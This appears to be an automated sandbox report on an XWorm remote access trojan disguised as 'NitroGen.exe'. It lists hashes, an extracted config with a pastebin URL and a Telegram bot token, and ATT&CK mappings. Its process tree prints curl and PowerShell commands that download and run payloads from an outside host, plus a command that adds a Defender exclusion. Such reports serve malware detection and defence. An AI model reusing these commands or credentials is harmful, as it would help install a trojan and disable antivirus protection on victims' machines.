xworm | f273e967b289bf3c275aae486b8a49918a136c332fce84986417aac2f65d3a6a

General

Target

NitroGen.exe
Size

244KB
MD5

ba199a53400605e0dddec76f0bbb5d4f
SHA1

81182bc28677dd07a8731d196244fb9643bde827
SHA256

f273e967b289bf3c275aae486b8a49918a136c332fce84986417aac2f65d3a6a
SHA512

578b6ac9bad24da3811239c8346e7d8fd33e2e3b1a322dddb829ce6336b5683421913f4dc8a12190d404ac8aa86129458b6ff3c24911a54986a485a61da815eb
SSDEEP

1536:Grae78zjORCDGwfdCSog01313Rys5gCqbReEi0j+Rf21D2k:+ahKyd2n31F53/EAM2k

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%AppData%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/mDSLGN9q
telegram
https://api.telegram.org/bot7168105056:AAGVK3B7ZFupxq4PpmnBpxAQOwJ5CUp76ow/sendMessage?chat_id=1992635040

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x001b00000002abd8-32.dat	family_xworm
behavioral1/memory/2096-34-0x0000000000B90000-0x0000000000BAC000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	5376	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5376	powershell.exe
1008	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2096	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	NitroGen.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1008	powershell.exe
1008	powershell.exe
5376	powershell.exe
5376	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeDebugPrivilege	5376	powershell.exe
Token: SeDebugPrivilege	2096	svchost.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 3348	2680	NitroGen.exe	79
PID 2680 wrote to memory of 3348	2680	NitroGen.exe	79
PID 3348 wrote to memory of 2396	3348	cmd.exe	81
PID 3348 wrote to memory of 2396	3348	cmd.exe	81
PID 3348 wrote to memory of 3936	3348	cmd.exe	82
PID 3348 wrote to memory of 3936	3348	cmd.exe	82
PID 3348 wrote to memory of 3460	3348	cmd.exe	83
PID 3348 wrote to memory of 3460	3348	cmd.exe	83
PID 3460 wrote to memory of 6012	3460	WScript.exe	84
PID 3460 wrote to memory of 6012	3460	WScript.exe	84
PID 6012 wrote to memory of 1008	6012	cmd.exe	86
PID 6012 wrote to memory of 1008	6012	cmd.exe	86
PID 6012 wrote to memory of 5376	6012	cmd.exe	87
PID 6012 wrote to memory of 5376	6012	cmd.exe	87
PID 6012 wrote to memory of 2096	6012	cmd.exe	88
PID 6012 wrote to memory of 2096	6012	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\NitroGen.exe
"C:\Users\Admin\AppData\Local\Temp\NitroGen.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c main.bat
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\system32\curl.exe
    curl "https://download.t3k.site/d/TKZb9w6VkHTZyX68SiFGSXTD4mJnGe2pfci7dxQOrMkT6Ys58THoTTOTEwSQ" -o installer.bat
    3⤵
    PID:2396
- - C:\Windows\system32\curl.exe
    curl "https://download.t3k.site/d/VM5Pb1HkPC4lGvDGlSx6uv8qU8NTIBUCeSGvPdsb7fvePGrDEjfhfc4dTCXl" -o run.vbs
    3⤵
    PID:3936
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\run.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3460
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c installer.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6012
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        Powershell -Command "Set-MpPreference -ExclusionExtension exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1008
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        Powershell -Command "Invoke-Webrequest 'https://download.t3k.site/d/vRjJCJlmX67rqifdZJH928gmqpPY0zcSgTwsV6NkTNTMtGKkm1SsVymBQVDz' -OutFile 'svchost.exe'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5376
    - - C:\Users\Admin\AppData\Roaming\svchost.exe
        
        .\svchost.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\main.bat

Filesize
256B

MD5
e262e5bd963c829357048858a2d64e04

SHA1
2884d6841512bc948a7daee268da91240faa3c13

SHA256
14fe35548160972a32833d45cd302460b39876ea26b7646f6b424c8654ce1b55

SHA512
694d507b078ddab1ad5cdb653f33507f716557609dff9a78e1091b7efde9093f5155d2bcd7e921a0ce581d6f3bd8fdd68b996452b956e7ceaa1d5c7dec5ce2de

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gwfr3cjx.wzw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\installer.bat

Filesize
257B

MD5
ae00757e6487b0c2ac116e09d5fd59c5

SHA1
3b4e7403b8934e8f31b68fbdff63fa063a91bd56

SHA256
57a777cf4a032ddc12d85b93fcbed6960608bb42e612b8ab224fbf5aff8f4f8e

SHA512
9431e99b9179fb2e33a5c227e9fc603e9c61b1db9f247b08c6b9874bb80b6510ff215c04e04ea9a77150307eb27c8dcc0dab4ce5f0757a13cdb5adbce9d98e15

Download Submit
C:\Users\Admin\AppData\Roaming\run.vbs

Filesize
134B

MD5
6d346aad37debed59b302c74a50d5ff7

SHA1
356bd92ec121ec0a3f4b1c12ef81ada47ebf6429

SHA256
b4033fe422e7f1a0351bac53c119321b6c90b6877e65fef4de17bbbba2a767f2

SHA512
58865078ebf065fa969bed3b26172101f67193aaf6e9e018aa87d46ec535f982739a7b4526ad78c72788f71dd6d63094add2837a3c610d8ca345da8eab254112

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
83KB

MD5
cf73759724ceaffa0353900bd428a555

SHA1
a62a68b7a2c0db839f05a763a9c5bda7b92f4709

SHA256
39d928ef59af8f60ad6ff7dc973cc3d00e3f6751d5fd3824c615c311b0a14da0

SHA512
d6340601e1a3ebda121390d55a3f2fbb6a1fd38e8fb51115823377f72087ef17409eafe41c182736c20b70ce25fabc1f83750112804b981c34d791c69e403e11

Download Submit
memory/1008-13-0x000002106AAA0000-0x000002106AAC2000-memory.dmp

Filesize
136KB

Download
memory/2096-34-0x0000000000B90000-0x0000000000BAC000-memory.dmp

Filesize
112KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads